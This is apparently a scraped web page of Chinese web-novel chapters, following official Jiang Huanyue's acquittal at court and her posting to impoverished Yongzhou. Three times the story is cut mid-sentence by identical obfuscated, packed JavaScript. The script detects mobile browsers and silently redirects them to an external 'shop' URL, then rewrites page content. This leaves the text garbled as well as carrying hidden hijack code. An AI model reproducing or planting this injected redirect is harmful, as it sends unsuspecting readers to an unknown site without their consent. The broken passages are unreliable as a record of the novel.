姜桓月背在身后的手，悄悄打了一个手势，殿门处一个小太监无声无息地离开殿内。 她不看台院御史，只盯着姜二叔：“二叔，你可敢对天起誓，若有半字虚言，则姜家全族尽灭。” 姜二叔听到“全族尽灭”四字，忽地打了一个寒颤，他至今仍记得姜父头七之日，姜桓月发下的毒誓，但又被进京以来所见的富贵驱散。 他挺起胸脯道：“如何不敢，只是姜桓月你一介朝堂命官，却还要借助鬼神之事实在可笑！若事事如此，要朝廷法度有何用！” 王尚书冷嗤一声，亦觉得姜桓月手段上不了台面。 台院御史微微眯眼，手指轻弹，本以为姜二叔会被姜桓月吓退，没想到姜二叔还有些应对，姜桓月这回偷鸡不成蚀把米，不仅没洗清罪名，在朝臣眼中的印象更是大打折扣。 姜桓月并未在意众人反应，目光一转，诘问御史：“御史可敢起誓，今日殿上所言绝无算计私心，否则蹉跎一生，再无寸进？” 御史的面色凝固了，声音里透着恼：“姜桓月，你简直毫无体统！” 台院御史姓范，二十九年前的同进士，却比王尚书的年纪大几岁，同科不是六部尚书，也掌管了一州之治，只他还是从六品下的侍御史，比新进的翰林好得有限，说的好听是清贵，说得不好听就是无势无为，姜桓月令他起誓再无寸进，是直接戳中了他的肺管。 在场朝臣都挪开了视线，生怕被姜桓月逮住来一句“可敢起誓”。 姜桓月仿佛没看出众人的回避，视线直直地往朝臣们身上扎。 朝臣或扭头，或掩面，或目视殿上金匾，或低头端详脚尖，就是不与姜桓月对视。 姜桓月一脸懵懂：“诸位都在看些什么？周侍郎新换的靴子是不错，高尚书看的这匾，我却没看出有何不对？” 御史太阳穴青筋暴起，淬了毒似的声音从旁侧传来：“姜主事好生得意，不要忘了你如今还是戴罪之身。” 姜桓月点头，视线再度回到姜二叔身上。 “御史提醒得极对，我忘了，二叔还未起誓呢！二叔还愣着干什么，刚才你都同意了，诸位都等着呢！” 所有的目光刹时压在姜二叔身上，如有实质，姜二叔咬紧牙关：“我——” “等等！” 殿门处闪过一个妇人的身影，径直冲向姜二叔。 姜桓月面上没有变化，但心底松了一口气，三叔母可算赶上了。 姜三叔母拧着姜二叔右耳，骂到： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569469|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姜振流！你可真长出息了啊！要找死你尽管去！别拉着姜家给你垫背！姜家养你护你，没盼着你光宗耀祖，倒盼来你这么个丧门星，给族里招灾惹祸！” 她离姜二叔极近，手指几乎要戳到姜二叔的面门：“你怕是连‘良心’两个字怎么写都不知道，更别提心肝长在哪个窟窿了！如你这般黑心烂肝的东西，活着也是糟践空气，不如趁早找根绳吊死，省得在世上碍眼，连累姜家列祖列宗跟着你丢人现眼！” 说罢，姜三叔母还淬了一口姜二叔。 姜三叔母的话如连珠炮般又急又快，入耳却又是句句清晰，众人皆听得清清楚楚，知机的人开始瞅着姜二叔和姜桓月的神色。 自看到姜三叔母那刻，姜二叔几乎呆住，眼底满是错愕，一句话也说不出。 好一会儿才缓过劲来，“你……你怎么来了？” 誓言被打断，姜二叔不自觉的也松了口气。 姜三叔母虽是弟媳，却救过姜二叔独子，这也是为何姜二叔图谋姜桓月家产时，不愿与三叔母正面冲突，反要寻刘家人冲锋在前。 “你做出这等丧良心的事，你对得起桓月的父亲吗？” 姜三叔母狠狠瞪着姜二叔，姜二叔不敢还口。 “各位贵人，姜二叔说的话，你们一个字也不要信！我是桓月的三叔母付湘，她在族里是个厚道的，她父亲在时就济贫扶弱，是乡里出名的善人，后来她父亲去了，留下她一人，本也是一个孤女，我们不指望她能做什么，可她还是为族里开族学，添祭田，族老那是年纪大了，本就体弱，谁知竟被有心人编排，好趁此她的家产捞倒自己怀里。” 三眼两语间，姜三叔母便洗脱了姜桓月的所有罪名，她又从怀中掏出一沓字纸，上面是满满的人名，“这是姜家族中并乡里签字画押的联名，上面之人皆可为桓月作证。” 呈上证据后，姜三叔母逐渐哽咽，搂着姜桓月嚎哭：“桓月，你过得太苦了！” 殿上一派凄风苦雨。 姜桓月凝着三叔母的泪眼，蹦出了一句话：“三叔母，有女皇赏识，我不苦。” 于姜桓月而言，这是一句大实话，与前世相比，她今生已拥有太多，而这一切都源于女皇的那份选官的诏令。 于朝臣而言，这是姜桓月刚要洗脱罪名，就开始谄媚女皇。 周侍郎心里嘀咕：难怪姜桓月是女皇宠臣，这时候都不忘给女皇贴金。 台院御史已经完全无法控制局面，面色铁青，心头发坠，有姜三叔母这个泼妇搅合，姜二叔完全使不上劲。 这时，女皇已看完众人联名所书，轻咳一声，底下瞬间安静。 女皇将众人联名送予前排重臣传阅：“诸爱卿都看到了，如今人证物证俱凿，姜桓月并无不孝不睦之举，此前所控皆为诬告。” 又微微抬眸，凤目中是不怒自威，宣告：“姜卿家无罪！” “女皇圣明！”姜桓月率先叩首。 朝臣陆陆续续跪下高呼，台院御史本站着未动，却被身侧的人推了一把，也跪下了。 “姜振流，你在御前妄言欺君，本该下狱，念你是桓月亲叔，朕不你治罪，你需记得日后再不可听信风言风语。” 女皇语气严厉，姜二叔浑身一颤，连忙应下，身后台院御史的脸已黑成锅底。 审判落定，姜桓月出宫回府。 三叔母领着一个十来岁的女孩儿来到姜桓月面前，期期艾艾开口：“桓月，你看，我们说好了的……这个我行三的姑娘。” 14. 邕州别驾 眼前的三姑娘不过半人高，姜桓月不由皱眉：“她太小了。” 三叔母登时急了，“桓月，如丫头前头两个姐姐都草草嫁人，我实在不想如丫头也和她的姐姐们那般，你就把她带在身边，她只要能学得你两分本事便受用不尽了。” 姜桓月道：“我答应你的事，自不会反悔，京中有女学，勋贵重臣的女儿都在里面进学，她先去读书，等我回京了多的是教她的时候。” 三叔母一听见“勋贵重臣”四字，眼睛都直了，满口答应：“好好好！”又推身旁的三姑娘，“还不快谢谢月姐儿！” 三姑娘半搂着三叔母胳膊，眼睛扑闪，带着些怯生生道：“如儿谢过月姐姐！” 从前，姜桓月还带着三姑娘玩过。 看着三姑娘通身打扮，姜桓月不禁感怀三叔母的慈母心肠。 三叔母纵是有千般不好，有一件事姜桓月是佩服的，她为子女打算可谓是不遗余力。 尽管三叔母说前面两个女儿嫁得不好，但都是三叔母精挑细选的人家，不是大富大贵，但却是家中和睦，在乡里是人人羡慕，还有她家的耀哥儿早年送到姜父身边读书习字，虽天分有限，但也借此做了府城里最大酒楼的账房。 如今又在为三姑娘筹谋。 可惜，愿意为姜桓月不遗余力的人早已不在。 安顿好三姑娘，姜桓月神色淡下，眉目间弥漫着化不开的愁绪。 消失了许久的女官们却来砰砰敲门，桓月放她们进来后，满屋子都是她们的吵嚷，还闹着着要为姜桓月庆贺：“桓月咱们得好好摆几桌席面，既去去晦气，也让那些暗处作祟的见不得人的东西吃口闷气！” “好好好！”姜桓月答应了女官们。 席上，姜桓月端起酒杯：“我这次顺利得证清白，多亏诸位姐妹连日奔走，我先干为敬！” “说什么外道话，忘了你以前说的，我们身为女官同气连枝，当然要互帮互助了！”说话的是乔晗玉，三叔母是乔晗玉帮忙送来京城的，晗玉的族兄在兵部架部司，管的就是大夏官驿车马。 “就是就是，桓月你还要领着我们一起待金佩紫呢！”接着开口调侃的是秋南翌，众人都盯着姜桓月的一举一动，找乡里、族人签字画押联名上书是她去办的，为此还告了两日假。 …… 姜桓月心间流过一股暖流，通身上下皆是环绕着一片温热。 那日刚被弹劾，女官们就来寻她。姜桓月以为众人会有失望，没想到众人一面安慰姜桓月，一面为她出主意。 她再一次感受到了当初父亲还在时，身后有人的踏实与安心。 姜桓月何其有幸结识这样一群姐妹！ 她仰面喝下杯中酒液，让盛不住的泪水流回眼眶，朦胧中是她看见了姐妹们最美的笑靥。 而她不知道的是，此刻在姐妹们眼里她也笑得格外鲜活。 - 宣政殿。 御案上摊开着一份明黄奏折，吏部誊写的外任官员名单工工整整，从江南富庶到中原冲要，处处审慎权衡，女皇虽未言语，但手中朱砂圈画，眼底尽是满意。 直到女皇看到，“姜桓月邕州别驾”的字眼，朱笔顿住。 “邕州……”女皇轻声呢喃，又揉了揉眉心，靠在椅背上。 忽然，女皇笑了，利落起身，提笔落定，同意了姜桓月所去。 折子发还吏部，王尚书打开折子，翻到最末，看到了那个朱红的“准”字，含笑抚掌。 吏部众人连声道贺：“这下姜桓月是彻底回不来了。” 王尚书拱手：“承让承让！” 邕州是王尚书特意为姜桓月挑的，是一块藏着毒药的蜜糖。 一人道：“尚书心善，邕州没有主官，姜桓月去了便是头一位，可不是正合了她们的意？” 众人哄笑，那人又道：“那些女官怎知，没有主官，姜桓月便无人交接，到了那里既无前人留下的班底可依，又无上官指点、熟悉情势的僚属相助，一去便得扛起全州的重担，苦楚还在后头！” 又有一人压低声道：“那邕州地处南瘴，多山少田，百姓贫苦，民风剽悍，连着几任去邕州的官吏，不是像丧家之犬般哀求调离，便是在任上碌碌无为，熬够年月脱身，没有一个能凭政绩擢升。”又挤眉弄眼道，“我看姜桓月也难走出邕州。” 旁边另一人道：“户部前日奏报，邕州今岁应缴粮米二千石，实缴不足五百，末尾处写着“民力已竭，催缴无门”八字，实在触目惊心。” 这消息隐蔽，众人如今方知，瞅着王尚书毫无异色，便知道这亦在他的算计之中。 最初那人更是摇头晃脑，长叹数声，“难啊！难啊！” - 而姜桓月收到调令，见是别驾，略微有些吃惊，虽都是从五品，但从五品也分为上中下三种， 没想到王尚书没有为难，直接给了姜桓月从五品上的官职——仅次于一州刺史的别驾，而且还能在实质上实现主政一方。 秋南翌正好在一旁，提醒：“桓月，我可不信王尚书有这么好心。” “我知道，邕州这个地方定有些毛病，不然一州刺史也不至于空置。但若去其他富庶州府，给我安排一个难缠上官，那才是更难受。我情愿没有上官束缚，不是刺史，形同刺史！”姜桓月眉飞色舞，已迫不及待要去邕州一展拳脚。 “你好歹当心些，我记着邕州的赋税近三年都未曾收齐过。”秋南翌在户部，知道些赋税情况，并不看好邕州。 姜桓月的笑容很是晃眼：“那我若是能交齐，岂不是大功一件？邕州各色都不好，那只要我做好了一件，就是功劳，再说的圣人说的济世救民，不就是这样么？若人人皆富庶，就无需济世救民了。” 近来，姜桓月仿佛是看开了什么，身上那种一往无前的魄力越发明显。 秋南翌只能无奈附和：“你说的对！” 姜桓月得意地笑了，笑得花枝乱颤，鬓发散开。 一连半旬，姜桓月都在准备出京事宜，六部九寺五监，连着京城里大小街巷，皆逛了个遍。 天色渐沉，暮色漫进了那座姜二叔进过的府邸，一个黑衣人单膝跪地，朝帘幕后男子抱拳：“爷，这姜桓月满京城地乱窜，我们跟了好几天都没看出不对劲，会不会她真的什么也不知道？” “不知道？”帘幕后传来一声轻笑，复又冷声道，“不管知不知道，在她出京之前都给我盯紧了！特别是……我那几个好弟弟的私宅……” “是！”黑衣人悄无声息地退了出去，几个起落间就没了踪影。 转眼，便到了姜桓月离京的日子。 那日，万里无云，姜桓月的马车行至城门口，遇到前来送别的王尚书一行。 “哟！王尚书怎么来了？” 姜桓月是一点都不客气，王尚书看着姜桓月身后马车，眼皮一跳，莫名有种熟悉感，但又想不起，只得放下。 王尚书道：“姜主事，此去山长水远，还望保重。” 他特地摆上酒水为姜桓月践行。自姜桓月外任，王尚书对姜桓月异常和煦，此刻亦展现出了身为朝中元老的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569470|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度。 姜桓月笑道：“王尚书，难得见你如此开怀！我知道你不会念着我回来的，就不说再会了！” 王尚书今日心情大好，摸着胡子，呵呵一笑：“姜主事要是能回来，我绝不会拦着。愿姜主事此去鹏程万里，不问归期！” 二人谈笑间，就已暗中交锋过一次，话里俱是半真半假，好似秋日夹着刀子的柔风。 在王尚书眼里，这些口头上的尖刺这不过是身为失意之人的姜桓月，想要挽回颜面的手段，身为赢家的他，自然会宽容。 姜桓月对这些心知肚明，但难得能有当面刺一刺王尚书的机会，当然还是要抓住。 一杯敬天，一杯敬地，还有一杯敬君王，几杯水酒下肚，又是离别之际，王尚书真情流露，吐出了几分实言：“姜主事我佩服你的本事，若你是男子，定能建功立业，可偏偏是女子，男女职分本由天定，朝廷的规矩法度断不可违。以你之才干，若做一贤妻，辅佐夫君，教养子女，报效朝廷，一样是为国为民，何愁不是下一个一品夫人。” “让开，让开——” 听到声音，众人侧目。 城门处，一列奢华的马车大摇大摆率先出城，路上行人尽皆退避。 “五殿下，请！” 城门守卫哪里敢让五皇子多等，这个是连朝臣重臣都头疼不已的天魔星。 五皇子的车队很长，在众人不曾留意的队尾，几辆马车混入了其中，一同驶出城门。 王尚书转回视线，仿佛忘记了刚才说过的话，只沉默饮酒， 姜桓月仿佛也没有听见，饮下最后一口践行酒，轻描淡写地提了句：“说来也巧，五皇子正好也在今日出京。” 姜桓月话说得轻巧，可官场中人从不相信巧合。 王尚书眼神微凝，惊疑不定，莫非姜桓月暗中搭上了五皇子的线…… 壶中酒已见底，五皇子马车扬起的尘烟渐散。 姜桓月整整衣袍，起身拱手：“王尚书，告辞！” “姜主事，告辞！”王尚书的声音慢了半拍。 姜桓月利落登上马车，追着五皇子车队驶出了城门。 王尚书望着姜桓月背景，猛然察觉自己被姜桓月摆了一道。 京官外任，姜桓月再有本事也必须在外面待三年，日后若能再回京也必会再进吏部吃苦。 王尚书放松心神，又记起在邕州给姜桓月留的大礼，不由低笑出声。 目送着姜桓月的马车彻底消失在天际，王尚书通身上下，那是前所未有的舒畅，幞头高高翘起，大手一挥，招呼众人：“走，我请诸位到汇贤楼一聚！” 王尚书是老臣，得他一顿饭不容易，众人当即高声应合： “尚书慷慨！” “如此快意，当浮一大白！” 王尚书朗声大笑，领着众人朝汇贤楼走去。 “大人，大人——” 王尚书定睛一看，骑马赶来的人是家中亲随。 亲随下马，神色焦灼，只在王尚书身侧附耳低声说了几个字，王尚书笑意尽褪，脸色大变，险些将腰上玉环扯断。 “什么！！” 王尚书汇贤楼也顾不上去了，丢下一句，“诸位同僚，我今日有急事，来日再请！” 说罢，扯过缰绳，单手一撑，上了亲随骑来的马，就往家中去了。 亲随只能望见后面扬起的烟尘，根本追不上。 道旁有熟悉卖酒的老丈望见，不由感叹：“王尚书宝刀未老，还是和当年中了探花，打马游街的时候一样俊咧！” 15. 五皇子在此 王尚书心急如焚，转瞬间便到家门前。 “老爷！” 门子开门见是他，惊诧得揉了揉眼。 王尚书推开门子，直奔后院。 “小姐呢？” 后院此时空无一人，唯有一只蛐蛐不知在哪处草丛，抖着翅膀嚣张嘲笑。 王尚书不死心，往里面寻去，桌案上光溜溜的，王筱琦常用的笔墨没了踪影，多宝阁上少了几件珍玩，那是王筱琦素日最爱的几件，再转过背，书架上更是直接空出了一个窟窿，心底越发不妙。 这是遭了贼了，遭的还是偷人的贼！ “来人！来人！”王尚书大喊。 “嚷嚷什么呢？”王夫人领着人进来，“怎么这个点回来了，不是有差事么？一回来就胡乱叫嚷，没得扰人清静！” “琦儿呢？” “跟着桓月去邕州了？” “什么？琦儿怎么能去邕州！”王尚书急了。 王夫人毫不心虚：“我同意的，为什么不能。只许你游历天下，不许琦儿出远门，‘闭门造车’这个词，还是老师当年教你的呢！现在做了尚书台阁，就忘了？” “不是……” 王尚书急得在原地直转圈，这下是有苦说不出，余光瞥见亲随在院门处探头太闹，忙吩咐：“快，拿着我的腰牌，现在去把小姐追回来！骑最快的马去追！多带些人手！” - 而这边姜桓月出城没多久，五皇子的车队就出现在了眼前。 “五殿下！” 五皇子的车架停了下来，一只修长手挑起帘子，朝外轻勾了两下， 侍卫骑着马过来，“姜别驾，殿下叫您上去。” 姜桓月下意识抬手至眼前，勾了勾手指，像是在无声询问：这是‘上去’的意思？ 侍卫像是看不见似的，嘴唇抿得紧实，不露丝毫表情，直视前方，连眼尾都没朝姜桓月的手扫一下。 五皇子手下怎么尽出些呆子！ 姜桓月撇嘴，自己掀开帘子上了马车。 马车上的情形更是令她大开眼界—— 五皇子独自斜坐在马车的宽塌上，手里依旧没闲着，这次把玩的是一方小小的玉印，眼睛半睁半闭，一根手指百无聊赖点着虚空。 乍一看，姜桓月还以为是女皇在此。 不愧是天家子弟！ 而王筱琦则在离五皇子最远的角落，坐得板板正正，恍若五皇子是什么洪水猛兽。 猛然抬头，发现姜桓月进来，喜不自胜，仿佛看到了救星，脱口而出：“桓月！你可算来了！” “怎么了？五殿下最是和善！你不必怕她。” 王筱琦摇了摇头，像躲老鹰的小鸡似的藏在了姜桓月身后。 五皇子睁开了眼，落在姜桓月身上的目光带上了几分审视，这话也只有姜桓月能说出口。 进京许久，姜桓月对他的评价还是没有半分改变。若姜桓月知道自己在朝臣口中是有名的天魔星估计就不会这么想了。 “这次多亏五殿下相助！”姜桓月揽住身后的王筱琦，感激道，“若不是五皇子，筱琦可没这么容易脱身。” 王筱琦自姜桓月进来，便安心不少，她怯生生从姜桓月身后探出脑袋：“多谢五殿下！” 五皇子慢悠悠抬起手，拇指上羊脂白玉的扳指格外惹眼——玉质细腻，泛着温润的柔光，迎着光端详片刻，又缓缓地落在塌边软枕上，语气浅淡：“不过是给姜女官的‘回礼’罢了！” 姜桓月看见那个熟悉的扳指，立马就笑了，五皇子果然嘴硬心软。 离京前，姜桓月不仅给五皇子补送了那次在城门落下的“谢礼”，还准备了一份新的“谢礼”，这枚扳指就是那份额外的谢礼。 姜桓月很是恳切：“我的谢礼与五皇子珍藏相比算得什么，还是五皇子急公好义，扶危济困，对我们从来不持偏见，解了我们的燃眉之急。”姜桓月这些日子与五皇子接触，五皇子对女官与就如其他朝臣一般，毫无轻慢，寻他帮忙亦未借机拿捏借，愈发断定外头那些关于五皇子的流言蜚语，都是旁人恶意污蔑，当不得真。 王筱琦听着姜桓月的话，目瞪口呆，快要不认识面前的五皇子了。 五皇子微微挑眉：“不必谢我，我只是想给那些老头儿找找乐子，大夏朝堂一潭死水，正需要姜女官这样的妙人。我很乐意见姜女官多多给他们添堵。” 他自觉再没有如自己这般省心的皇子了，一不欺压百姓，二不贪赃枉法，三不争权夺利，可那群朝臣偏生闲得慌，三天两头弹劾，不是嫌他奢靡浪费，就是说他骄横跋扈，五皇子烦不胜烦，隔三差五就要往王府里运几箩筐的弹劾折子。 这次回京有姜桓月在，姜桓月成了朝臣们新的目标，弹劾五皇子的折子连筐底都没装满，五皇子在京中自在多了。 五皇子说起来是云淡风轻，可姜桓月不觉着，王尚书是老臣，在仕林颇有声望，五皇子肯帮她们是冒着大风险的，五皇子毫不居功，还说这些只是为了不让她们心里过意不去。 由此，她对五皇子的感激更甚，五皇子是大夏朝堂的一股清流，说不准正是因此才与朝臣格格不入，屡遭弹劾。 姜桓月的心软成了一团棉花，不由叮嘱：“殿下情谊，我铭记于心。殿下心地纯粹，要多多保护自己，莫要总被小人坏了名声。” 五皇子面皮抽搐，表情很是奇怪，下意识抬头看了看镜子里的自己。 他？保护？ 五皇子开始怀疑这位姜女官的眼神是不是不太好。 笑话！他堂堂一朝皇子，谁敢冒犯他？ 别看那些朝臣喊得厉害，真让他们做点什么跑得比谁都快。 五皇子玉印也不玩了，坐直身子，上上下下打量着姜桓月。 外面忽然吵嚷起来。 姜桓月撩起车帘，朝外望去—— 三十余骑人马从后面追来，似有不善。 侍卫拔出腰刀，喝道：“退下！这是五皇子车架，谁敢冒犯！” 一个长得斯文些的骑马上前：“我是吏部王尚书亲随，有王尚书腰牌在此，我家小姐无意间上错了五皇子马车，特意来寻。” 侍卫冷脸并不通融。 “并非故意搅扰五殿下，实在是忧心我家小姐安慰。” “退下！” 侍卫亮出了刀刃。 亲随与身边人交换了一个眼色，又道：“既是五殿下当面，我等想给五殿下请安。” 侍卫略微迟疑，腰刀微收，下意识朝那辆最宽敞的马车望去。 亲随身后一人眼尖儿，指着车窗，激动喊道：“小姐就在马车上，我看到了！小姐穿的这身衣裳是夫人亲自挑的，那时我也在场，掌柜的说过整个京城里只这一件。” “小姐——小姐——” 那人在外边扯着嗓子叫嚷，眼珠子直往马车上钻。 王筱琦忙缩回脑袋，躲在地下，搂姜桓月的腰，头也不敢抬。 “小姐，快出来吧！老爷都急坏了！” 王筱琦僵住了，攥着帕子，神色紧张：“桓月，怎么办？我爹爹肯定交代过，我不跟他们走，他们不会罢休的。” “筱琦别怕，你又不是偷跑出来的，别忘了我们是得了你娘亲同意的。只要我们走远，你爹爹就拿你没办法了。” “可……可他们现在已经追上来了！”王筱琦眼眶里积起了泪花，鼻头发红。 马车外的喊声越来越响。 “小姐，跟我们回去吧，若有什么不高兴的，回家告诉老爷。” 王筱琦瑟缩了一下。 五皇子扭头，很是嫌弃：“慌什么，我的马车，谁敢轻易上来！” 他信走至车帘前，只用两个指头挑开：“武安卫，把人拦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569471|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下！” “是！” 外边侍卫齐齐应下，不再留手，电光火石之间刀剑齐出，将王尚书亲随一行人隔开。 亲随身后之人亦打算出刀，却被亲随挡住，亲随摇头：“这是五皇子，收回去。” 身后那人只得收回刀。 五皇子见外面静下，扯动塌边绳索，车外铜铃轻响，马车缓缓启动。 亲随一行人只能远远跟着。 王筱琦望着不敢靠近的亲随，眼眶里的泪花又憋了回去，神色安定下来。 姜桓月含笑道：“我就说，五皇子面冷心热，有五殿下帮忙，再没做不成的事情。” 王筱琦偷眼撇着五皇子，嗫嚅道：“多谢五皇子。” 五皇子此刻又懒懒地倚在软榻上，微微抬眼，一根手指曲起又落下。 王筱琦不知所措地望着姜桓月，脸色泛白了。 姜桓月却不以为意：“五皇子的意思是，区区小事，不必道谢。” 王筱琦神色稍缓。 不料，五皇子发出一声冷嗤，扫过来的眼风格外幽冷。 王筱琦通身一抖，定住了，待五皇子挪开视线，才敢动。 而姜桓月正好背身，再次错过了发现五皇子真面目的机会。 - 跟着五皇子马车驶出京郊二十里后，亲随才勒住缰绳：“停！” “生哥儿，我们这就不跟了吗？”身后人有些不甘。 亲随马鞭一指，“前面就是山南地界，我们不能在跟了，便是再跟着，有五皇子还在呢！” 众人只得调转马头退去。 王尚书在家中盼了许久，好不容易等到亲随回来，身后却是无人：“琦儿呢？” 亲随摇头，王尚书的心先凉了一半，再听完亲随消息，捂着胸口，仰面长叹：“家门不幸啊！” 王夫人从府外与旧友赏花回来，心神舒畅，见王尚书这副作态，不依了。 “这又在抽什么风呢？琦儿出京，是我同意的，你摆出这副模样是什么意思？合着琦儿就应该，大门不出二门不迈，等着到了年纪，许配给你的哪个同年？” “夫人，我可从来未这般想过！”王尚书连连摆手，便是想过也不敢露出分毫，“只是那姜桓月……” “姜桓月怎么了？我看人家厉害着呢！比之你当年强多了，你这个年纪的时候，哪有她的本事！” 王尚书哑口无言。 “别以为我不知道，你以后，少跟人家作对，女官又没做什么伤天害理的事，一天到晚盯着不放。” 王夫人的话一句接着一句，往日在朝堂威风凛凛的王尚书不仅没追回女儿，还被夫人被骂得灰头土脸，根本插不上嘴，一面更加庆幸姜桓月已离京，一面又忧心被姜桓月带走的王筱琦。 别人那是不知道，王尚书再清楚不过，邕州根本不是个能待的地方，王筱琦跟着姜桓月就是去受苦的。 而且他敢肯定，姜桓月不怀好意，定是知道王筱琦是她的女儿，才故意带走她的。 王筱琦这一去，无疑是羊入虎口。 可这些话，在王夫人面前他一句也说不出来。 - 姜桓月在鄂州与五皇子分开，五皇子一队往东，姜桓月一行往南。 自五皇子不在，王筱琦活泼了不少。 半月后，马车驶入邕州境内，姜桓月朝外望去，大小街道空无一人，唯一的动静便是这底下的车轮滚动之声。 整个邕州宛若一座死城。 姜桓月久久没有动静，王筱琦挤了过来：“桓月，怎么……” 王筱琦被眼前景象扼住了喉咙，话截然而至。 邕州城不仅萧条无人，街边房舍亦是破败，店舍门头历经风吹雨淋，早辨不清颜色，稍有一两户齐整的，却只是石墙。 “这里，就是邕州？”王筱琦咽下一口唾沫。 16. 堂下无人 姜桓月戚然，她虽有准备，可邕州的穷苦，还是超出了她的预想。 “以前跟着父亲出去，确实见着这样的地方，百姓连衣服都穿不起，一家五口只一身衣服，谁出去谁穿，若有什么要紧事，只能趁着黑天去。” 姜桓月陷入了回忆，想起和姜父游学的日子，“还有的，粮食不够，就从墙根儿下扫些观音土，混着碾碎的黄豆煮着吃，吃得人瘦成一把干柴，肚子却高高鼓起。” “那邕州不会也？”王筱琦打了一个寒颤。 “女皇治下，当然不会如此。”姜桓月语气肯定，但她没有说的是，若是遇着灾年，邕州说不定会比她说的那些更糟。 那样的景象，姜桓月见过，更见过被逼至绝境的生民会迸发出多么强大的力量。 马车在州衙停下。 这里同样静得出奇，大门仿佛遥遥欲坠，门内透着幽冷之气，姜桓月轻叩门环。 没有动静。 再叩，还有没有动静。 姜桓月不敢下重手，生怕门稍有不慎就会倒下，于是扯着嗓子喊道：“有人吗——” 喊声四下回荡，枯黄的叶从旁边高树上落下。 右侧传来细小的摩擦声，越来越近。 姜桓月汗毛倒竖，心弦紧绷，猛然转身。 “来啦！”一个眉毛胡子花白胡子的老丈从旁边小屋颤颤巍巍走出，努力睁大浑浊的眼。 姜桓月吐出一口长气，与耳边的另一道气声重叠，是王筱琦，两人不由一笑。 “可是姜别驾当面？”老丈扯着嗓子问。 “正是，老丈这里的其他人呢？” “你说什么，大点声！”老丈揉揉耳朵，有些听不清。 姜桓月加大声量：“其他人呢？” “收稻去了！” 老丈这时方看清姜桓月面容，上下不住打量，开口便是：“你这女娃娃，不行！” 几个月来，姜桓月听到过太多质疑，早对此习以为常，况且老丈最多只能嘴上嚷几句，哪会有朝中的步步杀机。 “为何不行？”姜桓月反问老丈，本以为会听到女子不合适为官的言论。 谁知，老丈眉头皱紧，摆手道：“你太瘦，邕州苦，难过！” 这是姜桓月未曾想过的回答。 “来这的人，太多了，走了的，更多。有想干事的，也有想熬日子的，最后都走了，这里什么都没有变。”老丈的声音有些沙哑，仿佛看透了世情。 “那我若是能呢？” 老丈听过太多豪情壮志，可最终都被邕州的现实抹平，“别驾，小老儿我折腾多了，已经没有这个心气了。生在邕州，天生就是穷命，改不了的。这里也四年没有外人来了，熬过日子，姜别驾也早些走吧。” 邕州不是没有遇到过想要改变的官，而且不是一个，而是好几个，来时皆如姜桓月踌躇满志，离开却也是如出一辙的心灰意冷。 但姜桓月早练就了一颗百折不挠的心，老丈的三言两语还吓不退她。 她坚定道：“我来，就不是混日子的。” 老丈摇摇头，见惯了这般不听劝的官，等姜桓月知道多了，自然就会明白他说的话他摸索着解开锁叩，推开大门。 门发出了一声粗哑的呻吟，震落的无数枯叶混杂着沙土朝众人袭来。 “咳咳——” 姜桓月用衣袖捂住口鼻。 老丈挥袖道：“咳咳，姜别驾对不住，这衙门有些年头了。” “咳咳——” 好一阵，烟尘渐散，邕州衙门出现在了桓月眼前。 别说，这里颇有山林之感。 门边飘着淡淡的白雾，就是那些还未彻底散去的烟尘。 堂前碧草青青，阶上绿痕葱茏，耳边还能听见淅沥的泉水声。 若是换上宽袍大袖，再添上竹桌竹椅，烹上一壶清茶，就是幽居隐士的滋味了。 穿过正堂，行至后院。 姜桓月的表情绷不住了。 后院的屋舍塌了半边，桌倒椅散，陷在泥沙中，窗户纸只有一半，颤颤巍巍地挂在窗框上。 老丈方才说了那么多，都不及此刻的后院有攻击力，这已经不是糟糕，而是可以用恶劣来形容了。 下一瞬，眼前一花—— 一团毛茸茸的活物从姜桓月脚边窜过。 姜桓月的脚半响未动，定睛一看，是只肥硕的兔子。 王筱琦惊魂未定，捂着心口倒退了一射之地，面有难色：“我们……要住在这吗？” 眼前屋舍里杂草足有半人高，草叶无风自动，里面隐隐还有活物。 姜桓月拧眉沉思。 半响，忽然急促道：“老丈，快唤人来抓兔子！见者有份！” “好嘞！”老丈腿也不颤了，眼也不花了，立马奔去田里叫人，腿脚比刚才窜过去的兔子还快些。 王筱琦还是站得远远的，不敢过来。 “快来！守好门，千万别让兔子跑了。”姜桓月催促王筱琦过来，“抓了兔子，我们晚上烤着吃，可香了！” “真的？”王筱琦被姜桓月三言两语就转移了注意，小步挪了过来。 姜桓月笑得狡黠：“当然，我吃过，那必须得是刚烤好，撕下来的最香，酥脆皮肉混着淡淡的油脂香在口中一瞬间炸开，嘶——那个滋味实在是令人难忘！” 